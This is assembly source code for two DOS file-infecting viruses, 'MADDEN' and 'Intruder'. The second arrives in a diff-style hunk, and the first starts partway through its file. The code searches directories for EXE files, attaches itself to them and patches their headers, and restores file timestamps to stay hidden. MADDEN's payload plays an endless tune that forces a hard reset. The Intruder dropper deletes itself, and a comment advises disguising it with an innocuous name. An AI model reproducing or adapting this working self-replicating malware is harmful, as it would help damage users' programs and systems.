FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
VCODE DB 1 ;identifies this version
MUZIK dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,
dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,
dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
dw 3043,0010,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
dw 3043,0010,
dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,
dw 0ffffh
;--------------------------------------------------------------------------
;MADDEN virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz TOON ;returned nz - no valid files left, play maddening toon!
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore the original file attributes and close the file
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
pop ax ;restore startup value of ax
REL1: ;relocatable marker for host stack segment
mov bx,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,bx
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program
;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
mov al,'\' ;set up current directory path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one - exit
xor al,al ;nope - try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z flag set by FINDBR to indicate success/failure
;***************************************************************************
; This routine enables MADDEN virus to compell the pc to play a
;'maddening' toon when it can't find a file to infect
;**************************************************************************
TOON:
cli ;interrupts off
mov al,10110110xb ;the magic number
out 43h,al ;send it
lea si,MUZIK ;point (si) to our note table
TOON2: cld ;must increment forward
lodsw ;load word into ax and increment (si)
cmp ax,0ffffh ;is it ffff - if so end of table
jz GO_MUZIK2 ;so, time to jump into endless loop
out 42h,al ;send LSB first
mov al,ah ;place MSB in al
out 42h,al ;send it next
in al,61h ;get value to turn on speaker
or al,00000011xb ;OR the gotten value
out 61h,al ;now we turn on speaker
lodsw ;load the repeat loop count into (ax)
LOOP6: mov cx,8000 ;delay count
LOOP7: loop LOOP7 ;do the delay
dec ax ;decrement repeat count
jnz loop6 ;if not = 0 loop back
in al,61h ;all done
and al,11111100xb ;number turns speaker off
out 61h,al ;send it
jmp short TOON2 ;now go do next note
GO_MUZIK2: ;our loop point
sti ;enable interrupts
jmp TOON ;jump back to beginning - this code
; has the additional advantage of
;locking out CTRL-ALT-DEL reboot.
;The user must do a hard reset to recover.
;--------------------------------------------------------------------------
;SEARCH FUNCTION
;---------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it - exit
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
jz FBE1 ;no - exit
dec [LEVEL] ;yes - decrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in the search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret
FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit
;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
mov dx,OFFSET DTA1 ;set new DTA for EXE search
mov ah,1AH
int 21H
mov di,OFFSET USEFILE
mov si,OFFSET EXEFILE
call CONCAT ;set up USEFILE with '\dir\*.EXE'
push di ;save position of '\' before '*.EXE'
mov dx,OFFSET USEFILE
mov cx,3FH ;search first for any file
mov ah,4EH
int 21H
NEXTEXE:
or al,al ;is DOS return OK?
jnz FEC ;no - quit with C set
pop di
inc di
stosb ;truncate '\dir\*.EXE' to '\dir\'
mov di,OFFSET USEFILE
mov si,OFFSET DTA1+1EH
call CONCAT ;setup file name '\dir\filename.exe'
dec di
push di
call FILE_OK ;yes - is this a good file to use?
jnc FENC ;yes - valid file found - exit with c reset
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity
FEC: ;no valid file found, return with C set
pop di
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
stc
ret
FENC: ;valid file found, return with NC
pop di
ret
;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
push dx ;save it
mov ah,1AH ;set DTA
int 21H
mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory
mov ah,4EH ;do search first function
int 21H
NEXTD1:
pop bx ;get pointer to search table (DTA)
or al,al ;successful search?
jnz NEXTD3 ;no, quit with NZ set
test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
jne NEXTD2 ;no - valid directory, exit, setting Z flag
;else it was dir header entry, so fall through to next
NEXTDIR: ;second entry point for search next
call GET_DTA ;get proper DTA address again - may not be set up
push dx
mov ah,1AH ;set DTA
int 21H
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return
NEXTD2:
xor al,al ;successful exit, set Z flag
NEXTD3:
ret ;exit routine
;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
mov dx,OFFSET DTA2
mov al,2BH
mul [LEVEL]
add dx,ax ;return with dx= proper dta offset
ret
;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
mov al,byte ptr es:[di] ;find the end of string 1
inc di
or al,al
jnz CONCAT
dec di ;di points to the null at the end
push di ;save it to return to the caller
CONCAT2:
cld
lodsb ;move second string to end of first
stosb
or al,al
jnz CONCAT2
pop di ;and restore di to point to end of string 1
ret
;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
; a) The signature field in the EXE header must be 'MZ'. (These
; are the first two bytes in the file.)
; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS
; more relocatables without enlarging it.
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus
; is probably already in that file, so we skip it.
;
FILE_OK:
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
jc OK_END ;error in reading the file, so quit
call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no - exit with c set
call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no - exit
call IS_ID_THERE ;is id at CS:0000?
OK_END: ret ;return with c flag set properly
;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
mov al,'M' ;check the signature first
mov ah,'Z'
cmp ax,WORD PTR [EXE_HDR]
jz CSO_1 ;jump if OK
stc ;else set carry and exit
ret
CSO_1: xor ax,ax
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
ret ;c is set if it's anything but 0
;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
mov dx,OFFSET USEFILE
mov ax,3D02H ;r/w access open file
int 21H
jc RE_RET ;error opening - C set - quit without closing
mov [HANDLE],ax ;else save file handle
mov bx,ax ;handle to bx
mov cx,1CH ;read 28 byte EXE file header
mov dx,OFFSET EXE_HDR ;into this buffer
mov ah,3FH
int 21H
RE_RET: ret ;return with c set properly
;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
cmp ax,4*NUMRELS ;enough room to put relocatables in?
RR_RET: ret ;exit with carry set properly
;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
add ax,WORD PTR [EXE_HDR+8] ;Header size
mov dx,16
mul dx
mov cx,dx
mov dx,ax ;cxdx = position to look for VIRUSID in file
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H
mov ah,3FH
mov bx,[HANDLE]
mov dx,OFFSET VIDC
mov cx,2 ;read 2 bytes into VIDC
int 21H
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
mov ax,[VIDC]
cmp ax,[VIRUSID] ;is it the VIRUSID?
clc
jnz II_RET ;if not, then virus is not already in this file
stc ;else it is probably there already
II_RET: ret
;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
mov al,BYTE PTR [FSIZE]
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
jz SB_E ;all set - exit
mov cx,10H ;no - write any old bytes to even it up
sub cl,al ;number of bytes to write in cx
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
add WORD PTR [FSIZE],cx ;update FSIZE
adc WORD PTR [FSIZE+2],0
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
SB_E: ret
;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
mov cx,WORD PTR [FSIZE+2]
mov dx,WORD PTR [FSIZE]
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H ;go to end of file
call SETBDY ;lengthen to a paragraph boundary if necessary
mov cx,OFFSET FINAL ;last byte of code
xor dx,dx ;first byte of code, DS:DX
mov bx,[HANDLE] ;move virus code to end of file being attacked with
mov ah,40H ;DOS write function
int 21H
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
inc bx
add dx,bx
mov bx,0
adc cx,bx ;cx:dx is that number
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to 1st relocatable
int 21H
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
mov bx,[HANDLE] ;from the EXE header
mov cx,2
mov ah,40H ;and write it to relocatable REL1+1
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
inc bx ;at FSIZE+REL1A+1
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to place to write SP to
int 21H
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
mov bx,[HANDLE] ;from EXE header
mov cx,2
mov ah,40H ;and write it where it belongs
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
add bx,1 ;at FSIZE+REL2+1 on disk
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL2+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer relavtive to start of file
int 21H
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
mov bx,[HANDLE]
mov cx,4
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
int 21H
;done writing relocatable vectors
;so now adjust the EXE header values
xor cx,cx
xor dx,dx
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to start of file
int 21H
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
shr ax,cl
mov bx,WORD PTR [FSIZE+2]
and bl,0FH
mov cl,4
shl bl,cl
add ah,bl
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
mov bx,OFFSET FINAL ;compute new initial SS
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
mov cl,4
shr bx,cl
add ax,bx
mov WORD PTR [EXE_HDR+14],ax ;and save it
mov ax,OFFSET VIRUS ;get initial IP
mov WORD PTR [EXE_HDR+20],ax ;and save it
mov ax,STACKSIZE ;get initial SP
mov WORD PTR [EXE_HDR+16],ax ;and save it
mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size
mov bx,OFFSET FINAL
add ax,bx
xor bx,bx
adc dx,bx ;put it in ax:dx
add ax,200H ;and set up the new page count
adc dx,bx ;page ct= (ax:dx+512)/512
push ax
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add ax,dx
mov WORD PTR [EXE_HDR+4],ax ;and save it here
pop ax
and ax,1FFH ;now calculate last page size
mov WORD PTR [EXE_HDR+2],ax ;and put it here
mov ax,NUMRELS ;adjust relocatables counter
add WORD PTR [EXE_HDR+6],ax
mov cx,1CH ;and save data at start of file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
dec ax ;in order to calculate location of
dec ax ;where to add relocatables
mov bx,4 ;Location= (No in table-2)*4+Table Offset
mul bx
add ax,WORD PTR [EXE_HDR+24];table offset
mov bx,0
adc dx,bx ;dx:ax=end of old table in file
mov cx,dx
mov dx,ax
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to table end
int 21H
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
mov bx,OFFSET REL1
inc bx ;offset of REL1
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
mov bx,OFFSET REL2
add bx,3 ;offset of REL2
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
mov WORD PTR [EXE_HDR+6],ax
mov cx,8 ;and then write 8 bytes of data in file
mov dx,OFFSET EXE_HDR
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
ret ;that's it, infection is complete!
;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
xor ah,ah ;zero ax to start, set z flag
SR1: ret ;this gets replaced by NOP when program runs
int 1AH
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
ret ;return with z flag set if it is, else nz set
;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
mov al,90H ;NOP code
mov BYTE PTR SR1,al ;put it in place of RET above
ret ;and return
;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
mov ah,2FH ;get current DTA in ES:BX
int 21H
mov WORD PTR [OLDDTA],bx ;save it here
mov ax,es
mov WORD PTR [OLDDTA+2],ax
mov ax,cs
mov es,ax ;set up ES
mov dx,OFFSET DTA1 ;set new DTA offset
mov ah,1AH
int 21H ;and tell DOS where we want it
ret
;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
mov ax,WORD PTR [OLDDTA+2]
mov ds,ax
mov ah,1AH
int 21H ;and tell DOS where to put it
mov ax,cs ;restore ds before exiting
mov ds,ax
ret
;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
mov ah,43H ;get file attr
mov al,0
mov dx,OFFSET USEFILE
int 21H
mov [FATTR],cl ;save it here
mov ah,43H ;now set file attr to r/w
mov al,1
mov dx,OFFSET USEFILE
mov cl,0
int 21H
mov dx,OFFSET USEFILE
mov al,2 ;now that we know it's r/w
mov ah,3DH ;we can r/w access open file
int 21H
mov [HANDLE],ax ;save file handle here
mov ah,57H ;and get the file date and time
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx ;and save it here
mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
mov WORD PTR [FSIZE+2],ax ;search routine
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
mov WORD PTR [FSIZE],ax
ret
;--------------------------------------------------------------------------
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
mov dx,[FDATE] ;get old date and time
mov cx,[FTIME]
mov ah,57H ;set file date and time to old value
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE] ;close file
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H ;Set file attr to old value
mov al,1
mov dx,OFFSET USEFILE
int 21H
ret
FINAL: ;last byte of code to be kept in virus
VSEG ENDS
;--------------------------------------------------------------------------
;Virus stack segment
VSTACK SEGMENT PARA STACK
db STACKSIZE dup (?)
VSTACK ENDS
END VIRUS ;Entry point is the virus
@@ -0,0 +1,710 @@
;The Intruder Virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK
PGMSTR DB 'INTRUDER.EXE',0
HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS
;------------------------------------------------------------------------
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
;Intruder Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
VCODE DB 1 ;identifies this version
;--------------------------------------------------------------------------
;Intruder virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz FINISH ;returned nz - no valid file, exit
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore the original file attributes and close the file
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
pop ax ;restore startup value of ax
REL1: ;relocatable marker for host stack segment
mov bx,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,bx
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program
;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
mov al,'\' ;set up current directory path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one - exit
xor al,al ;nope - try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z flag set by FINDBR to indicate success/failure
;--------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it - exit
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
jz FBE1 ;no - exit
dec [LEVEL] ;yes - decrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in the search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
